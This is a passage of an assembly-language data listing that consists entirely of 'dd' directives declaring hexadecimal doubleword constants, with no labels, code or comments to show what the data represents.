		dd 331DD480h, 1400262Eh, 4418C2D4h, 0B60549h, 75430C77h
		dd 36E4D2F8h, 56948001h, 5725EFA6h, 0CD5FC300h,	0DCA33403h
		dd 0F87AE0AEh, 9EDA3889h, 0BD9280h, 29E8AA80h, 3B004A1Ah
		dd 0AEFECAFDh, 245B7189h, 8E2C3F7Ch, 383AC716h,	85C2E061h
		dd 3A949C60h, 0C4777802h, 981C4201h, 876A3Ch, 0D6924B90h
		dd 4C385BD1h, 0E08820CFh, 0D5930BF1h, 0BA651D33h, 577700EAh
		dd 189F3FA7h, 39863E00h, 5BF8D5E4h, 0A4BC94BAh,	0C9FB0004h
		dd 0B232E35Ah, 63750D00h, 860BA406h, 1D8F1209h,	20282474h
		dd 0EB91EF50h, 548F48C0h, 0CAFCDFFh, 5A8958Ah, 1F702FD8h
		dd 16687360h, 3C5B0288h, 0B160F9EBh, 0D3DA4C4h,	5F7CC701h
		dd 0B9B9212h, 211DE8h, 0B0FE87E3h, 0C3109854h, 40FC2B03h
		dd 0E9794FC1h, 7C0267Dh, 3F8E0052h, 1105D036h, 9800221Eh
		dd 0F1A8998Fh, 34A306Bh, 965C7F76h, 22E8AE93h, 0DC917B1Ch
		dd 4668A1Ch, 0DB79A560h, 201964BCh, 0A94CC19Dh,	30F6F3FCh
		dd 7D3B4501h, 0A1F06598h, 18A70824h, 20AED4FCh,	0CCE11CFFh
		dd 10C05063h, 605C76B1h, 2CF0C1DAh, 0C036072Bh,	909084F7h
		dd 0F4007E72h, 8E488C5Ah, 4C87A1ACh, 9B842039h,	888080C2h
		dd 9F016941h, 4C301446h, 0F5F1D2A2h, 34F82831h,	90219890h
		dd 0EA3D63F4h, 407A9B61h, 0F6004E76h, 0DB77A6C1h, 13E7CB05h
		dd 1CFB8CD7h, 9EE40CF8h, 642CF4A8h, 9B823096h, 4091DA92h
		dd 7CCFB98h, 3F58976h, 7BA540B3h, 0A760B65Ch, 0D7D7C60h
		dd 95510996h, 0AC583E9Ah, 0A38D340Eh, 0DAAE8087h, 0E62ACB24h
		dd 981D001Eh, 0F1A04B8Ch, 0A82CEFE3h, 0D19090B9h, 10792C1Ah
		dd 500644AFh, 0DA1410F4h, 0C3C8096Ch, 0F9FEE5Bh, 0F1D5580h
		dd 200AAA06h, 63437101h, 7695B31Bh, 871DF86Ch, 85B79E5Bh
		dd 848614A1h, 920803B4h, 9BF8C7FBh, 9E242D72h, 7D608496h
		dd 913C949Dh, 34890074h, 57EFAD19h, 49C84158h, 3587C24Ch
		dd 62DC9017h, 26FCB22Dh, 1C98256Fh, 82F580C5h, 87DD4205h
		dd 0FF44C8E1h, 0C11696B0h, 2E05138Fh, 8488CAD5h, 0FEE836h
		dd 0CCB20FF2h, 0DF57C346h, 85B6A438h, 6EA6237Dh, 2D50806h
		dd 0BDB400B1h, 7491C0E7h, 2D0C6A9Fh, 98AD69DAh,	0FBE8C09Dh
		dd 0D2B694F4h, 8F507C90h, 655143F4h, 0CC03374h,	184D0BFCh
		dd 0C010DCFEh, 906836CEh, 6F60A595h, 0FCB34F30h, 298E6576h
		dd 77A088CCh, 1992A0B4h, 0E617B820h, 7679C78Eh,	90F849BAh
		dd 10B5A731h, 32E12CF3h, 0B041FC30h, 0B481029Ch, 27E1D9Ch
		dd 0FD2D8C44h, 1A107A6Ch, 0E82AD978h, 0E00B3CC3h, 2950125Bh
		dd 595419A4h, 0ACDE893h, 3D0E6A0h, 0F02F149Eh, 41348C50h
		dd 0C439AE7Ch, 32E04CAAh, 0F22D8DEh, 90AC0252h,	30E40903h
		dd 0A55E6300h, 0CE235AC7h, 14DA15D0h, 4064B4A6h, 61DCD9C3h
		dd 0A58C6420h, 881B9C0Bh, 3B149935h, 180FD102h,	90F680F8h
		dd 241E3DF0h, 31F4FD17h, 0D2BEC14Ch, 890BDC2Ah,	288C089Fh
		dd 81381505h, 0A047D10Fh, 0FA87C240h, 0FD070049h, 80AB05F2h
		dd 0A489B31h, 0E0C05E94h, 390BFE3h, 28C3694Ch, 0CFC82CCDh
		dd 0E900D3FDh, 0B0787EB7h, 7113994h, 584659FCh,	1E8B8A5Ah
		dd 8F4D4CF9h, 273AA2E8h, 0A1E0504Ah, 0EDF58A05h, 84205AC3h
		dd 0C0049A96h, 954CF870h, 9B04218Ch, 66921806h,	237438D0h
		dd 0C94849h, 0B7EFF704h, 0D9D0C12Fh, 0D888309Ch, 8747275h
		dd 6E85BC02h, 405AF1EDh, 0F8191798h, 4A2483Ah, 62B8C32Eh
		dd 4D2F4FEh, 0A09CD826h, 0D615B05h, 68EDE832h, 809FA23Ch
		dd 0D60073A8h, 43DE8E5Fh, 7C0C3B01h, 0A245311Ch, 0E29CA4E0h
		dd 4C98C062h, 419D80F7h, 0A8335C8Ch, 67952F06h,	7B70F8DDh
		dd 1BCA8B6h, 0FCB48390h, 0A8807493h, 91963CF8h,	5B2F757Ah
		dd 0BEB80215h, 0CC184193h, 138C6464h, 40676D95h, 0EAE1383Ch
		dd 0FD1878CBh, 0CE48718Dh, 0FCA20922h, 602039FBh, 38D58FE3h
		dd 27D84560h, 0B0C52F4Fh, 865B25B0h, 3B966401h,	0DDD3E352h
		dd 0C033A025h, 32958E34h
		dd 87C081D0h, 0C13E4C63h, 0B30D0455h, 54E94386h, 0C4F7EF0Ah
		dd 94AB05A0h, 0ED14CD3Dh, 70A70088h, 405B01F3h,	79EC3DDCh
		dd 0E8F4D6FDh, 8FE08019h, 1EE53C64h, 0ECFFF02Eh, 5E0A8804h
		dd 0FB0904A8h, 10CDFCFAh, 0A402C38Ch, 44A84AF8h, 0C0F16608h
		dd 0BF5C85A8h, 209DE9C0h, 0C97BE1F0h, 68409358h, 0C380508Dh
		dd 691A0003h, 16FDB157h, 0C73EC6F3h, 555B039Ch,	0E0B54F3Ah
		dd 0D37CF6h, 94B86EB7h,	78A06688h, 8FF0020Ch, 2CA148E7h
		dd 120407BCh, 195041E9h, 3393A617h, 0E2AC1EBCh,	112BD204h
		dd 40CD8B0h, 0EFAB8D9Ch, 710CB084h, 63E6C00h, 21959A87h
		dd 0C540DF89h, 80866D5Ch, 27EB7D28h, 0D0B0349Ah, 0F034CF8h
		dd 3B95D85Dh, 653004B9h, 0D49DCADAh, 0FC988050h, 0E13CB43h
		dd 1000DFB8h, 571272A9h, 16C20911h, 0D49899B2h,	0CE006046h
		dd 8D33FF9Fh, 31B6D3h, 7008B882h, 1379E727h, 7C518A02h
		dd 606D240Ch, 5B63ADh, 82A1DA6h, 0C7307097h, 0B880F0B2h
		dd 1C0067E0h, 24C34F2Bh, 0EAA392Fh, 3AEFFDD6h, 0C040F647h
		dd 0FDBB8FCh, 0CB5D373Ch, 30883C09h, 900C8F40h,	2F5A0068h
		dd 1DCDD24Bh, 8050F44Ch, 2A00B58Ch, 586BA583h, 0BA6851F0h
		dd 10C88238h, 50F9524h,	92C7D62Dh, 0DAD38312h, 1C86403Ah
		dd 5C40B987h, 95324102h, 242CBA98h, 5140FC7Dh, 98F8085Ah
		dd 5D9116CCh, 806449D1h, 3E0300C6h, 0FFFD64F1h,	2C1017A4h
		dd 0F6A44415h, 7910F49h, 8BDFF5B9h, 341C0894h, 4188AB00h
		dd 17708049h, 4FC7C0h, 0CED71B14h, 0C4007EB4h, 0E3D0FA28h
		dd 0F07D88h, 0C95969Fh,	95FCC5Bh, 0A6020091h, 0A4CAFD8Fh
		dd 0FC225760h, 291238C3h, 4C45A941h, 6CC97AA2h,	16E862E0h
		dd 7F5A560h, 0C1869074h, 28877395h, 188A92A8h, 92A77D01h
		dd 3480BA95h, 0D6033B28h, 0FCC78CAEh, 6492FC3Ch, 20C864FEh
		dd 371AF62h, 50887C00h,	3F202A44h, 918A3118h, 32EFE579h
		dd 0A57C8350h, 0C455AA35h, 0B21B2054h, 3E0E8EF8h, 808F272Bh
		dd 5B908A95h, 38D86E74h, 106DF687h, 5D5F3FB9h, 58631F00h
		dd 0EE3D9349h, 887E1675h, 0CA684411h, 8F0B84h, 0C2EB4860h
		dd 0EF940C2Bh, 0FB8BC08h, 7126E81Fh, 0FBB885A5h, 0A3C65880h
		dd 9B9E0221h, 0A588FCB9h, 7EB590E8h, 3BA6E88h, 0FD6AD845h
		dd 3BFBF013h, 0B8E009F2h, 0F7804471h, 8DAB25F2h, 0DEE8AC8Fh
		dd 0E93D8E00h, 68C174h,	0F58F3F2Bh, 67C85BCDh, 0B149B89Eh
		dd 0BCAE9690h, 4A820E0h, 0D491BB40h, 5CE86Fh, 3A6DFE76h
		dd 0DFC607BFh, 0CCE1410h, 0FD25C491h, 0B4A10012h, 3D6998F0h
		dd 8CE710D8h, 0EC20F609h, 458F1082h, 88A018E8h,	0C3EBF508h
		dd 0E1AC4258h, 11432880h, 8E028DA3h, 14EFA2B9h,	0A5344030h
		dd 0C13A33FCh, 0C2E02F30h, 6F7C0AFBh, 30806600h, 0C8A37B20h
		dd 961E0A50h, 0FB07FC0h, 0ECE95C7Ch, 98C0D8C2h,	3F0BFBC4h
		dd 0B374A262h, 0CCC1DDB8h, 3FE86171h, 949D01A1h, 2CA48A3Bh
		dd 0E8CC6117h, 0CF01B708h, 5C8220B4h, 7C29AB48h, 0CF6F9682h
		dd 0B4C06604h, 7C634AC2h, 20A85A1Dh, 265DF1Ch, 3C983000h
		dd 0BD3EA6E1h, 30447807h, 0EF11E094h, 0BC9EBAA1h, 3A721E88h
		dd 406425CBh, 1755C8D0h, 11606396h, 902C2760h, 0C0C55D95h
		dd 0B97E8D09h, 0A155B842h, 95AC138h, 0F898083Ch, 2D50EEF0h
		dd 0E89478B4h, 0C969782h, 58ACC185h, 0B4CB1060h, 2B9C0834h
		dd 64008817h, 0C301878Eh, 0CFF40256h, 91D132EEh, 0F07FC878h
		dd 8582A61h, 6420CED2h,	1E843D9Bh, 5818E5BAh, 0FB780829h
		dd 4880903h, 0ADA5F7FAh, 0F2FEBDC0h, 929A1741h,	62E8030Ah
		dd 80B1FA2Dh, 182FD0CDh, 85D9820Eh, 339967ABh, 2B1E1F10h
		dd 2D890323h, 15D1FE86h, 1C7CD082h, 9A124D01h, 1835A406h
		dd 2A954874h, 7D0AC53h,	0C83CCF51h, 21B10325h, 1DC0385Ch
		dd 10F066FCh, 613A47h, 378FD75Eh, 2DDFAD8Dh, 3FA3AC00h
		dd 0E3A91049h, 717B1C87h, 0A0FDCB39h, 6B76CE78h, 3D956700h
		dd 6C53AA54h, 57370788h, 37D705BCh, 4F8531h, 3878C08h
		dd 0F70D30F9h, 80749FDh, 117010B0h, 4A5816CEh, 0E74C01A0h
		dd 249575E5h, 0E2AC006Eh, 760719A7h, 104F445Eh,	5C8732FCh
		dd 3CC292D4h, 5900C2FBh, 10FA1818h, 0A86F63FDh,	0F844ECE8h
		dd 0A7294087h, 0C1A4EF13h, 145B7837h, 0D0F55C90h, 0E0C98E3Eh
		dd 8008D22Eh, 0A14BFEC3h, 0FD00C054h, 0F23AE819h, 6212FB6Ch
		dd 732069F3h, 836E00Fh,	7C78185Dh, 1CC62ADFh, 34E948C4h
		dd 0AE8F1C48h, 0A55FC4F0h, 699118C2h, 6C609A44h, 3394009Eh
		dd 0BF576648h, 87001E1Dh, 836F1F44h, 0E04CF861h, 425D2947h
		dd 0B49EBA8Ch, 41F82666h, 68DE2995h, 685324E0h,	4480D993h
		dd 96C09FDAh, 0EC6090Ch, 8D0D7044h, 484BCA95h, 0B420FAE5h
		dd 24F8B092h, 6A8AA6Fh,	513BEFE2h, 0DCFFF400h, 0A3A8C695h
		dd 8CA6010Bh, 0BB5B6763h, 15F08058h, 93DB8394h,	41409CD0h
		dd 74CDB95Bh, 4C013C70h, 77FDBF0h, 70378F33h, 1139805Ch
		dd 1C760F40h, 0D3383A74h, 0C54E7ED5h, 26B5A802h, 0CD192h
		dd 93409655h, 8725955Dh, 0B334008Bh, 5C881D9Ch,	88D2B003h
		dd 0A4A08D04h, 20CB89A2h, 2CDC64AEh, 28703E91h,	0A7BB285Ch
		dd 2C962FF3h, 70B3480h,	8200FF83h, 57DD6CB4h, 7A851C0h
		dd 80DDB7Ah, 958FD131h,	2E8682Dh, 9BAF45Bh, 71964053h
		dd 0C0A307D9h, 120FE98Bh, 0B478C7F5h, 0D768F018h, 0B077F8h
		dd 0C0AD6718h, 0B7FB9EDBh, 0BAE6A890h, 5B2A7F04h, 0A0A2F175h
		dd 8968B302h, 714E87h, 4413413h, 2256EFA4h, 5A134024h
		dd 0B4EC2CA3h, 3658600h, 3A5873FDh, 9162F85h, 0FCEFB4C0h
		dd 0E93CB40h, 4707A563h, 0A05B49BFh, 4C5C3823h,	2AD8200Fh
		dd 466A0585h, 940BA016h, 1B780079h, 0CA4AF496h,	1DD5E250h
		dd 684F9FCh, 0A2CA7295h, 0E8F504F0h, 0A0887DA8h, 0DE0B00A1h
		dd 430788EBh, 0B7559526h, 780C68C4h, 10F34130h,	0BDCA5C7Dh
		dd 879D7800h, 31094366h, 0A9779Fh, 0EEDB80A8h, 288F24CBh
		dd 0A01E053Ch, 0FB3EC17Dh, 0C72FD924h, 8192F981h, 0A11DD678h
		dd 0AC30F790h, 254B89Eh, 840A6EA5h, 7854CD32h, 0E311E080h
		dd 605E95EBh, 0C35388A9h, 100F43F8h, 0C1FDB213h, 0A1D3D50Eh
		dd 0A1F228F0h, 15F0BDC4h, 0EA231E8Eh, 30BD280Bh, 9F118DCDh
		dd 0F635958Bh, 0C81EE9ECh, 7CF07B16h, 0BF2303E1h, 0A495B57h
		dd 28F1D6E7h, 0D82C072Ch, 9B6BA402h, 0CC146A63h, 0FFC30084h
		dd 0BC91426Ch, 5B2DCAD5h, 88886071h, 29E000AEh,	0FB5C6CC2h
		dd 724A657h, 0E50B6427h, 3F3C108Ch, 5F1A3C44h, 0C3001848h
		dd 0D15C4954h, 0C2095A2h, 60B0E43h, 9B2068E2h, 0ADDCD0FDh
		dd 99DCB25h, 404850C4h,	0E404AA53h, 2634802Fh, 0BC187080h
		dd 9AEA80ABh, 5B954180h, 0D0101454h, 0E0F28084h, 8C0FCA4h
		dd 77D6A8E1h, 0DE40Bh, 8B76267Ch, 1D75A16h, 490766F6h
		dd 221DAF0Eh, 0EA318602h, 0C18C0054h, 587714D2h, 0E2101CBCh
		dd 40FB2E49h, 905C7905h, 0C7094B1h, 48872AAh, 6DFCA983h
		dd 9D80022Bh, 1700C182h, 0B37EAB00h, 5E757D00h,	0BA6D4B0h
		dd 0EE9001F2h, 52C3772Ch, 389FC0F8h, 0BEF4F01Ah, 0C76C5170h
		dd 3F80EE90h, 6954A3EBh, 0A24A300Bh, 0C0B8CBC2h, 7408B2Ah
		dd 5B3CAF38h, 0A816548Ah, 816D0060h, 0D1DD1425h, 26D80067h
		dd 0FDE45C73h, 8C2822C2h, 5260F05Bh, 0EFFCA0D9h, 628CAAA3h
		dd 0BE0C4494h, 7DA5C300h
		dd 8C2A26D2h, 0E2438600h, 2C7EC5Eh, 958EA279h, 1848FA68h
		dd 641EA539h, 30057544h, 8015188h, 74CDFB8Dh, 6F7B3440h
		dd 838B1B2h, 402125F3h,	0E4E112BEh, 906014A1h, 96AB2E6Eh
		dd 30604BBCh, 0FD80AFA6h, 38DE607Ah, 0A1A44B46h, 3BFA54Ch
		dd 5F390AE2h, 9B6EE086h, 0F069242Ah, 620896A0h,	0F8C2F8DCh
		dd 64FC8Bh, 5BDEDB13h, 169C3050h, 602C93A6h, 4390B671h
		dd 300102DBh, 0DA0B3797h, 0D2F2C3AAh, 7D5B181Ch, 9F8910D6h
		dd 4F3B9091h, 0A52AD004h, 0A380B052h, 6E10BA65h, 0EF711890h
		dd 3EB183DEh, 0C254218Bh, 0C0253AC3h, 0A70802CBh, 3C020BB5h
		dd 0F9028E02h, 39045CC9h, 90FE2EC2h, 0ACF1AF6Fh, 40057958h
		dd 30757ADh, 76F03D8Dh,	0D2C0A0BEh, 7ABE0Ch, 38CD52FDh
		dd 832E180Bh, 48FEC400h, 7DF0F532h, 6CACCCD2h, 6B136D68h
		dd 0DC065343h, 58706EB5h, 0B727207Ah, 3896A482h, 0F0AEE4C1h
		dd 0ECA89EABh, 189E06A1h, 0FCF7FB41h, 0B9EEA50Ch, 802BBF41h
		dd 0A4F71774h, 981908CBh, 54FD7414h, 40F7909Ah,	8940A40Ch
		dd 0B94D07B8h, 0D0908F94h, 3D07830Bh, 4F77624h,	40959102h
		dd 16585888h, 13839E51h, 0DAD84274h, 0ECA69B67h, 0F600A062h
		dd 0D795C6A7h, 305B0973h, 21C04F67h, 0A80B82BDh, 824B79ECh
		dd 828FCAD5h, 0D1D2CDACh, 41FD412Ch, 93A0B81Eh,	0C888939Ch
		dd 0D85F3C95h, 0A894265Fh, 0A106D7FAh, 2216DE17h, 8E8F00B1h
		dd 0ACB341B9h, 80B5C93h, 0C8D2A24Dh, 409E711Ch,	7490FB1Bh
		dd 0BA00C770h, 72AA8090h, 0D3D5C38h, 14DA95D0h,	89F80050h
		dd 8200D80Fh, 77224584h, 87D718h, 0FC15163Bh, 0F01D04A1h
		dd 7E483413h, 55DE5C91h, 0D61660C0h, 24C8DDD0h,	25317E3Ch
		dd 9C9610A2h, 7509142Ch, 80042C94h, 4D7007CCh, 0AF7C2459h
		dd 976E1C90h, 0BE9E0085h, 0B978E93Dh, 57017032h, 0DDE2AC7Ah
		dd 0C1E22AADh, 2CED7DE0h, 1E19DC20h, 2C30212Bh,	0EA3D00A4h
		dd 0AF3B9575h, 0C3A46900h, 0C9734D87h, 948D0001h, 0A9D1A83Ch
		dd 1C703009h, 4C230726h, 140B5C93h, 9AF4CC6Ah, 0D2FD3030h
		dd 57F1FEF1h, 0C23660C7h, 0FC786770h, 91C7E4F4h, 206E9464h
		dd 5BFFD605h, 49D09733h, 87AB3880h, 0FAF9EAF5h,	9D518450h
		dd 0BE26DCE4h, 0FC985506h, 7F418DB8h, 0B09A4CE5h, 7821F589h
		dd 7C41F41Ah, 185A3890h, 0CAA172E9h, 70E6044Dh,	82B4AB3Fh
		dd 58F46EE4h, 0C824A63Ah, 999CA802h, 50045E7Ah,	0AC621FFCh
		dd 0FA34F410h, 695B1338h, 0FB98334Bh, 0FD07FA8Ah, 263040A6h
		dd 42B43CCCh, 7854BCD8h, 0A8F3EE8Ch, 33C500A7h,	5BAA3BD5h
		dd 51D451A3h, 72A900B4h, 86585F48h, 5BE508F7h, 0BA1F71CCh
		dd 0BD315C80h, 48FB813Bh, 0B020200Dh, 12448F48h, 38E2A278h
		dd 1660862Eh, 895C5206h, 0C84A2A18h, 9313F0E6h,	66529C1Ch
		dd 7B10B4h, 90D8F17Dh, 3FC6EACh, 0D5EDD274h, 0F046846h
		dd 0ABA11B7Eh, 0E580E344h, 0C37D2580h, 1C5B00C7h, 2E54EFFEh
		dd 4302A18Fh, 5A07A561h, 24C6094h, 7D961817h, 0BF5B98D4h
		dd 0E4F61100h, 0C7955693h, 816594Fh, 6D2E2120h,	7D6160D6h
		dd 0B468DD5Ch, 36959306h, 780148E3h, 0C7F605FBh, 0A8D387AAh
		dd 52F326FAh, 0AB00DC3Ch, 438DA29Dh, 0D230958Fh, 4D88684Eh
		dd 0D7AD02E2h, 865BFCB4h, 0DC984872h, 588FA805h, 0D8883898h
		dd 8085EE70h, 0E94D825Bh, 45D22590h, 94958958h,	8D4E00F2h
		dd 0D590681Fh, 7D245702h, 38463C7Ah, 1E289448h,	524FE46Dh
		dd 88B0525Bh, 961FA05h,	0E5FAC634h, 5C187452h, 952060A3h
		dd 0AFA80938h, 6480B9E3h, 0A57372DEh, 287DF03h,	0C9CEFFC3h
		dd 1AF8CCEDh, 0BE670294h, 0EFD75BB0h, 2DE027DFh, 0CCBC4384h
		dd 89A39007h, 0C0F87438h, 0D0C39104h, 82036090h, 0A6164378h
		dd 0A8889380h, 0AEE86ACh, 8D51F00Ch, 0FC97B8D4h, 0B31831CEh
		dd 9368065Fh, 6E969E28h, 37878A54h, 0AE7459Ch, 38F893A8h
		dd 0E6484BDBh, 5E424C20h, 974BCC95h, 81D89045h,	0F07B14C2h
		dd 0F58B0988h, 0E816C3EEh, 0E0F18098h, 0A30915FEh, 812B71C8h
		dd 6BAEF0D8h, 25227DF4h, 18C696A2h, 82F45C18h, 7235D61h
		dd 169592D9h, 0E044296Ch, 2F74065Ch, 415C94A3h,	89CC38F5h
		dd 1704FAC6h, 800B4922h, 7628F0F0h, 0D801E0D6h,	0B22795E2h
		dd 18581430h, 18715FB4h, 0B0015C6Bh, 0F421D5D9h, 11866AFEh
		dd 0B085659Fh, 2C0C585Ch, 11AFF0CBh, 3C24947Ch,	0F45E488Dh
		dd 442FBA9Dh, 0A04220B2h, 1063805Eh, 77218034h,	4A5CBE43h
		dd 0F0003854h, 14E47F48h, 434E668Fh, 3C4860CBh,	0C4251723h
		dd 0BC8B0DCh, 94195BC5h, 0F27EF4A2h, 30CD9061h,	8F4F9A60h
		dd 0B4490035h, 84588049h, 0B232FCAAh, 7CA14858h, 57FC974Ah
		dd 0A218FC51h, 0BC7C8897h, 5CFC2417h, 810F92Dh,	0A2979D7Fh
		dd 5186AB88h, 0C5A6927Ch, 4118FC5Ch, 18D02D68h,	80105DDBh
		dd 7BFC0004h, 65603788h, 2A00C7A2h, 1757C821h, 2E4C6A9h
		dd 7B3E05E2h, 7443A029h, 0FA0AEEA8h, 26039471h,	86802C1h
		dd 63E3814Ch, 0D0176885h, 0F58CCCD6h, 54C3E712h, 0A8AA6823h
		dd 0AE85DBh, 3D8F8623h,	1C9577EBh, 4E9FF100h, 1B54C878h
		dd 10BB3096h, 0D92B448h, 2BDAAC1Ch, 4C892440h, 25EFAD07h
		dd 4CA0294Eh, 0F460A93Dh, 53080B1Ch, 70A0FD0Ch,	480A441h
		dd 0F3B39D33h, 0A45CF02Dh, 2F0E40h, 643B9825h, 836967A6h
		dd 0D156C403h, 9014FE35h, 17B55DC9h, 6432FECh, 506A1A19h
		dd 0E2325B01h, 58FC7779h, 0D8222021h, 939CA50Fh, 0AC7B5CA2h
		dd 6971EC82h, 611407C1h, 0D00C6F52h, 640899E1h,	0E8CDD143h
		dd 0F0885438h, 10AB0530h, 91B0CEDAh, 0BFF8724h,	0D8C5C1CCh
		dd 6469F195h, 23124F08h, 5C8AF2F7h, 6F29BE02h, 0AE41BD9Ch
		dd 7D4696Eh, 250C8F16h,	8AC503h, 0AACDD790h, 9E818715h
		dd 0A491FC2Ah, 59102898h, 87843798h, 0E7908851h, 93486CB8h
		dd 189A718Ch, 0C0036E4Bh, 8895B7D8h, 5856C246h,	4C0C5CF6h
		dd 0E910D1D6h, 9D087714h, 0BD2600B4h, 69B26E93h, 55310C2Ah
		dd 95B1A67Bh, 78CD4471h, 8BE06057h, 78099715h, 7C6B3CC2h
		dd 20DF28E2h, 6F8F25B4h, 270278DFh, 1C108DCAh, 0C8B7203h
		dd 18655BB8h, 8CA88D10h, 0DCBA9BFDh, 0C8C7FE00h, 9F5490E4h
		dd 0B44CB894h, 94D2C958h, 62773500h, 9A261DB1h,	0F4050093h
		dd 8234FD56h, 0EF12A7B4h, 34E04D1Bh, 0FD278EC9h, 2E1050E5h
		dd 61688DA7h, 0F28027FCh, 5BC1A076h, 213A054Ah,	2F32A950h
		dd 0EF93C804h, 0F5914481h, 738060h, 16DE605Dh, 2B85207Ah
		dd 5230110Eh, 485AC1C4h, 2884F384h, 0FD75217Dh,	2EC207Ch
		dd 0FF180388h, 0B9616CEFh, 78386C81h, 7E3F6727h, 66991FF0h
		dd 909D0480h, 173C8C6Eh, 16282C88h, 11A50C9h, 399523E5h
		dd 0FE29F00Eh, 9079F31Eh, 24E6D54Bh, 0FD204FA4h, 0F9C0830Bh
		dd 2DEEF7F1h, 0A89B503Dh, 0B308A0C9h, 27099FCh,	4AE2EFA3h
		dd 0A4D1B089h, 0C8F89544h, 0A2244B93h, 9F564481h, 0EFC18908h
		dd 4E28D8D8h, 5CC802FAh, 84D4AF8Eh, 0DC237451h,	9551A430h
		dd 0C9D37D8Eh, 0DA09E0A7h, 48C4A05Dh, 0C1B760B0h, 0A84187E0h
		dd 0B884E2DEh, 0ADC29EA6h, 0E3AA80C0h, 1B2ECAFh, 78FC030Bh
		dd 8028E5F0h, 7A3387A8h, 60F502D1h, 7B199C76h, 9D05B369h
		dd 253CF039h, 8313CF5h,	78F464h, 0A09D6EA6h, 5F95E422h
		dd 5BB8DF60h, 2399638h,	0A6549BB6h, 0F8F966h, 3198BF20h
		dd 3BB05E93h, 0FFB008Eh
		dd 0C7700A3h, 0C8A2066Bh, 800A36BCh, 0BCF9EF5Ch, 0D7238780h
		dd 0F87AADCAh, 9FA17C9Fh, 0F870C030h, 0E451EA6Ah, 79C41425h
		dd 967944C3h, 6C1E145Bh, 0F626FB41h, 32C49DFFh,	9E112EF0h
		dd 4D248144h, 6A034346h, 0FDD86807h, 0CB094440h, 629B0BDFh
		dd 0C86E91A5h, 0B0F1F92Ch, 0ECF41845h, 616345CFh, 6C4CE1E8h
		dd 46EF1780h, 54F54CC0h, 42782D7Ch, 4D5B1C81h, 55E883F7h
		dd 80C30B99h, 0B8AE849Dh, 5BF10CC4h, 9320DCE8h,	0F96428B0h
		dd 0F0F88050h, 9CA96601h, 615C7E97h, 2BF8834Bh,	90538825h
		dd 0C2481Ch, 4A803514h,	9D1AFD0Fh, 0AC508B03h, 18A406FBh
		dd 60BCB938h, 7F05939Eh, 983CFCABh, 112F4B8h, 43ECB49Dh
		dd 332880FBh, 72A94507h, 0E3700D0h, 96A57DE8h, 0A3B5A019h
		dd 0DA5C7780h, 0C4605CCEh, 76AC8C7Ah, 4DA6E80h,	80EFD6D9h
		dd 7580B2C3h, 13C70200h, 6870D3D7h, 0A8100972h,	4C09F95h
		dd 1709F16Eh, 51598296h, 6843AA4h, 0A0653F68h, 3C5DF354h
		dd 0D0C7D3D4h, 9F9DDA2h, 0E409CC1Ah, 2C24C4DCh,	90E93267h
		dd 9539DB18h, 33272C00h, 8A64735Ah, 75168C90h, 1CC00E0h
		dd 0A6B47A65h, 0EF86E406h, 0E413482h, 6A9EBB5Ah, 4615FDE0h
		dd 0A8FEFA18h, 4E017003h, 0E1D5CC2Fh, 0FC37C1EEh, 2FB8F1Fh
		dd 6DB37E75h, 0E824E4D9h, 5AC85A52h, 4464879Ch,	15BCC08Dh
		dd 0CE093527h, 590CD4FCh, 0CECA748h, 48F0BF20h,	0A505D0BEh
		dd 175FC1FCh, 0A6688118h, 0FA7E0357h, 2448E0FBh, 0C0921Eh
		dd 95785958h, 36F3FDD0h, 9022EB26h, 13BFE908h, 0ADCC0094h
		dd 5B9E73DAh, 0E011C227h, 8F881Ch, 0C8A42962h, 0CBFF1E57h
		dd 604471EDh, 480987EDh, 0F7AA5B0Dh, 7464048Bh,	9049D891h
		dd 0F9929C88h, 0BD51EB00h, 8C6D5926h, 801F7617h, 64810B1Eh
		dd 67F14387h, 207C4ECh,	0F2D5921Ch, 5C0FFC3h, 0F325EFA2h
		dd 5BB89134h, 6C9AE909h, 0EC58B0h, 0ABD2F52Ch, 4FFECD92h
		dd 0A0DC809Ch, 5253877Dh, 29FC0BD8h, 0EF94A2A1h, 0C8986BE5h
		dd 0F27CBC0h, 9379BE21h, 9FA04Eh, 64F4C432h, 173F18EFh
		dd 14C8CE34h, 0B1E5E95h, 5851072Ch, 0F094F865h,	4520508Ch
		dd 0E094645Ch, 7540C660h, 2902C4h, 0CD6A1D8Eh, 0AED4A21Fh
		dd 0F39CE002h, 60932758h, 0B23007F4h, 34B640C4h, 0E97D3616h
		dd 277850B3h, 24E43C0Dh, 916F6501h, 0FA958D03h,	0E7E0C42Ah
		dd 50871238h, 42CAA0C8h, 740C5C2Ch, 0A16B4BEh, 7C24D0B5h
		dd 0FFC90FEFh, 0FC62057Eh, 0E0D1BC94h, 96D1903Dh, 0D3792573h
		dd 0F02D4446h, 9C9C8182h, 0AAE43914h, 44D30072h, 6443E0DAh
		dd 0F61C3290h, 0CA0B3D2Fh, 0AAC4C862h, 9DA80B0h, 0C5826F01h
		dd 5E88958Ch, 5B4EC885h, 0A40CBF0Eh, 9D85C8E5h,	0CD76087h
		dd 24028FA8h, 67A4D0D6h, 20F08F8Dh, 84E6DAACh, 864E2095h
		dd 70007B70h, 0E49468C9h, 0A98396h, 0F013B373h,	92ADD215h
		dd 9808123Bh, 959194ECh, 0DC18979Ch, 0FC908F0Bh, 78212E24h
		dd 3CF17100h, 50D187Eh,	95F2E35Dh, 8854F0C4h, 2DE04C5Ch
		dd 7BA8601Ah, 75F70B03h, 4450B7F0h, 0ED02C202h,	8F923C58h
		dd 0E13859E4h, 22181C33h, 3D187083h, 9D5C8109h,	0C0DCE275h
		dd 90E8C978h, 984B0C89h, 65118F3Dh, 5BE95B3Fh, 12A42CC8h
		dd 4244E0FCh, 0FA5BEA20h, 0D9A03CDEh, 5088015Bh, 5B661C8Ch
		dd 0B4A02EF7h, 958480F8h, 0CC9AE290h, 32794418h, 24832A31h
		dd 649058C4h, 3CA01334h, 0A040D3E4h, 9335F048h,	90BDF8B1h
		dd 13844C00h, 949564FAh, 79099176h, 4298F077h, 8510D4D4h
		dd 0E18FFCA9h, 0AAA041FCh, 314C8F0h, 0C800BCB8h, 0E93E1D22h
		dd 3F1E5577h, 0D0638F0Eh, 92E11802h, 5347776h, 96527DAh
		dd 2B72C8Ch, 0FC90C0DEh, 94A0573Fh, 0F2D45BE7h,	0B5939680h
		dd 9A97F810h, 48C99D09h, 5544E0D1h, 142F81Ch, 76B23C98h
		dd 2007A1F0h, 0EF17A744h, 0A0A2A956h, 0F25EE313h, 5C3B00ECh
		dd 0CAFE20ECh, 0C68B0140h, 0FD3043A2h, 0B20841F2h, 0D614406Dh
